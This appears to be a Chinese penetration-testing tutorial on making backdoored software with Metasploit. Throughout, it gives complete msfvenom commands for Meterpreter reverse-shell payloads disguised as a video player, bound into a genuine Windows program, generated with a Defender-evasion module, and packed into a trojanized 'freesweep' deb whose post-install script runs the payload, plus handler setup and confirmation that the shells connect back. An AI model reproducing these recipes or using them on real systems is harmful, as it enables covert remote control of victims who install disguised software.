滲透測(cè)試之后門(mén)軟件
1. 制作Windows惡意軟件
1.1 使用msfvenom生成后門(mén)木馬
制作后門(mén)程序
sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音.exe
、
msf啟動(dòng)handler監(jiān)聽(tīng)后門(mén)程序,
use exploit/multi/handler

msf6 exploit(multi/handler) > set lhost 192.168.142.135
lhost => 192.168.142.135
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > exploit
啟動(dòng)Apache服務(wù):
systemctl start apache2
靶機(jī)訪問(wèn)鏈接下載文件http://192.168.142.135/西瓜影音.exe,執(zhí)行
當(dāng)靶機(jī)運(yùn)行后門(mén)程序,反彈成功,惡意軟件成功連接。

1.2 給真正的軟件加上后門(mén)
先查看主程序會(huì)調(diào)用哪些附加的小程序,然后把 payload 后門(mén)和這些小程序綁定到一起。當(dāng)然也可以直接加到主程序上,但是加主程序上,有時(shí)報(bào)錯(cuò)。
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x xxx.exe -f exe -o /var/www/html/xxx.exe
1.3 使用evasion模塊生成后門(mén)木馬
use evasion/windows/windows_defender_exe

show options查看配置,自定義文件名,run

啟動(dòng)exploit/multi/handler監(jiān)聽(tīng)模塊,設(shè)置好端口,run開(kāi)始監(jiān)聽(tīng)


2. 制作Linux惡意軟件
2.1 msfvenom制作linux惡意軟件獲取shell
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -f elf -o /var/www/html/sss

開(kāi)啟Apache服務(wù),設(shè)置好payload開(kāi)啟handler監(jiān)聽(tīng)

打開(kāi)靶機(jī),下載后門(mén)文件,添加執(zhí)行權(quán)限并執(zhí)行。
wget http://192.168.142.135/sss


2.2 制作deb惡意軟件包獲取shell
下載freesweep,僅下載模式模式
apt install freesweep --download-only
下載的文件在/var/cache/apt/archives下,移動(dòng)到根目錄,dpkg解壓。
dpkg -x freesweep_1.0.1-2_amd64.deb freesweep
制作惡意deb包
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.135 LPORT=4444 -b "\x00" -f elf -o /home/kali/freesweep/usr/games/freesweep_sources
拓展:生成軟件包時(shí)無(wú)論是 payload 的和軟件包信息都需要選擇能夠在目標(biāo)操作系統(tǒng)上執(zhí)行的。
創(chuàng)建軟件包信息目錄
mkdir ~/freesweep/DEBIAN && cd /root/free/DEBIAN
創(chuàng)建軟件包的信息文件
tee /root/free/DEBIAN/control << 'EOF'
Package: freesweep
Version: 1.0.1-1
Section: Games and Amusement
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display - in Linux console, in an xterm, and in most text-based terminals currently in use.
EOF
創(chuàng)建 deb 軟件包,安裝后腳本文件,來(lái)加載后門(mén)
tee /root/free/DEBIAN/postinst << 'EOF'
#!/bin/bash
sudo chmod 2755 /usr/games/freesweep_sources
sudo /usr/games/freesweep_sources &
EOF
給腳本文件添加執(zhí)行權(quán)限
chmod 755 /root/free/DEBIAN/postinst

靶機(jī)下載安裝deb包:

監(jiān)聽(tīng)成功

sudo dpkg -r freesweep卸載,連接會(huì)話(huà)正常


浙公網(wǎng)安備 33010602011771號(hào)